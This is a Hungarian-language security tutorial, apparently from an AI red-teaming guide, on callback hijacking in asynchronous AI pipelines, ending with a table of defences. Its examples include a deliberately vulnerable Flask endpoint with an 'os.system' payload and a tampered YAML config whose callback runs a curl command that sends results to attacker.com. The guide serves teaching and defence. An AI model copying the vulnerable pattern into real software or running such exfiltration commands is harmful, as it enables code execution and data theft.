Amíg egy aszinkron feladat, például egy komplex modell futtatása vagy egy adatbázis-tranzakció zajlik, a rendszer egyfajta bizalmi vákuumban van. A támadó számára a kérdés nem az, hogy a feladat lefut-e, hanem az, hogy mi történik utána. A visszahívási függvények (callbackek) eltérítése pontosan ezt a bizalmi rést használja ki, megragadva az irányítást a feldolgozási lánc egy kritikus, késleltetett pontján.
A callback eltérítés lényege, hogy a támadó képes befolyásolni, melyik kódrészlet hajtódik végre egy aszinkron művelet befejeztével. Ez nem egy klasszikus kódbefecskendezés; sokkal inkább a végrehajtási folyamat logikai manipulációja, ahol a rendszer megbízik egy olyan mutatóban vagy hivatkozásban, amit a támadó korábban módosított.
A Callback Eltérítés Anatómia
Egy tipikus aszinkron folyamatban a rendszer elindít egy hosszú ideig tartó feladatot, és megad egy függvényt, amelyet a feladat befejeztével kell meghívni. Ez a „callback” kezeli az eredményt, naplóz, vagy elindít egy következő lépést. A támadás célja, hogy a legitim callback helyett egy rosszindulatú, támadó által kontrollált függvény fusson le.
Főbb Támadási Vektorok
A callback eltérítésének módja nagyban függ az alkalmazás architektúrájától, a használt programozási nyelvtől és a keretrendszertől. Nézzünk néhány gyakori megközelítést.
Paraméter-szennyezés (Parameter Pollution)
Ez a legegyszerűbb forma, ahol a támadó közvetlenül a kérés paraméterein keresztül adja meg a végrehajtandó callback függvény nevét vagy elérési útját. Ez különösen veszélyes dinamikusan típusos nyelvekben (pl. Python, JavaScript), ahol a függvényhívásokat futásidőben lehet összeállítani stringekből.
# Pszeudokód egy sebezhető Python Flask végponthoz
@app.route('/process', methods=['POST'])
def process_data():
data = request.json['data']
# A callback nevét a felhasználó adja meg, kritikus hiba!
callback_name = request.json['callback_function']
# Dinamikus függvényhívás a globális névtérből
callback_func = globals().get(callback_name)
if callback_func:
# Elindítunk egy aszinkron feladatot a "megbízható" callbackkel
run_long_task_async(data, callback_func)
return {"status": "processing"}, 202
else:
return {"error": "Invalid callback"}, 400
A támadó egy {"data": "...", "callback_function": "os.system"} payload küldésével elérheti, hogy a feladat végeztével tetszőleges operációs rendszer parancs fusson le.
Prototípus-szennyezés (Prototype Pollution)
JavaScript-alapú környezetekben (pl. Node.js) a prototípus-szennyezés egy rendkívül alattomos módja a callback eltérítésnek. Ha a támadó képes módosítani egy alapvető objektum (pl. Object.prototype) prototípusát, akkor olyan tulajdonságokat adhat hozzá, amelyeket a kód később callbackként értelmezhet és végrehajthat, még akkor is, ha a fejlesztő nem számított rá.
Konfiguráció-injekció
Sok modern MI rendszer a feldolgozási láncokat és a hozzájuk tartozó callbackeket konfigurációs fájlokban (pl. YAML, JSON, TOML) definiálja. Ha a támadó bármilyen módon (pl. LFI, rosszul konfigurált admin felület) képes írni ezeket a fájlokat, akkor egyszerűen átírhatja a legitim callback függvény nevét egy általa preferáltra. Ez a támadás perzisztens, és a rendszer újraindítása után is aktív marad.
Esetpélda: Konfiguráción keresztüli eltérítés
Egy képfeldolgozó pipeline YAML konfigurációja:
# Eredeti, biztonságos konfiguráció
pipeline:
- name: "resize_image"
- name: "run_inference"
on_success:
callback: "save_to_database"
- name: "notify_user"
A támadó által módosított, rosszindulatú verzió:
# Módosított, rosszindulatú konfiguráció
pipeline:
- name: "resize_image"
- name: "run_inference"
on_success:
callback: "execute_shell_command" # Eltérített callback
params: ["curl -d @result.json http://attacker.com/leak"]
- name: "notify_user"
MI-specifikus Következmények
A callback eltérítése egy MI rendszerben különösen súlyos következményekkel járhat, mivel ezek a függvények gyakran hozzáférnek érzékeny adatokhoz és nagy számítási kapacitáshoz.
- Eredmények csendes manipulálása: Az eltérített callback módosíthatja a modell kimenetét, mielőtt az naplózásra vagy a felhasználóhoz továbbításra kerülne. Például egy csalásdetekciós modell „normál” eredményét átírhatja „gyanús”-ra, vagy fordítva.
- Adatszivárogtatás: A callback hozzáfér a modell bemenetéhez (a feldolgozott adathoz) és kimenetéhez (az eredményhez). Egy rosszindulatú callback könnyedén kiszivárogtathatja ezeket egy külső szerverre.
- Modell-lopás vagy -mérgezés láncolása: A támadó a callbacket használhatja egy következő támadási lépés elindítására, például egy háttérfolyamat indítására, amely a modell súlyait próbálja meg kinyerni, vagy további mérgezett adatokat juttat a betanítási ciklusba.
- Privilégium-kiterjesztés: Ha az aszinkron feladatokat feldolgozó worker folyamatok magasabb jogosultságokkal futnak (ami rossz gyakorlat, de előfordul), a callback eltérítése teljes rendszerkompromittáláshoz vezethet.
Védekezési Stratégiák
A callback eltérítése elleni védekezés alapja a „soha ne bízz a bemenetben” elv kiterjesztése a végrehajtási logikára is.
| Stratégia | Leírás | Hatékonyság |
|---|---|---|
| Engedélyezési lista (Whitelisting) | Ahelyett, hogy dinamikusan hívnánk meg a callbacket a bemenet alapján, használjunk egy előre definiált, szigorúan korlátozott listát vagy egy map/dictionary struktúrát a lehetséges callbackekre. A bemenet csak egy kulcs lehet ebben a listában. | Nagyon magas |
| Szigorú típus- és sémaellenőrzés | Minden bemeneti adatot (beleértve a JSON/YAML payloadokat) validáljunk egy szigorú séma alapján. Ne engedélyezzünk váratlan mezőket (pl. `callback_function`). | Magas |
| Konfigurációs fájlok integritásának védelme | A konfigurációs fájlokat kezeljük kódként. Legyenek verziókövetettek, és a telepítési folyamat során ellenőrizzük az integritásukat (pl. hash segítségével). Korlátozzuk az írási jogosultságokat. | Magas |
| Minimális jogosultság elve (Principle of Least Privilege) | A callback függvényeket végrehajtó workerek csak a legszükségesebb jogosultságokkal rendelkezzenek. Ne futtassuk őket root vagy adminisztrátori fiókkal. Használjunk konténerizációt és sandbox környezeteket. | Magas |
Figyelem: A callback egy bizalmi határvonal
Tekints minden callback függvényt egy potenciális sebezhetőségi pontnak. Az aszinkron művelet elindítása és a callback végrehajtása között eltelt idő egy támadási ablakot nyit. A rendszered biztonsága attól függ, mennyire tudod garantálni, hogy ebben az ablakban senki sem cseréli ki a zárat az ajtón.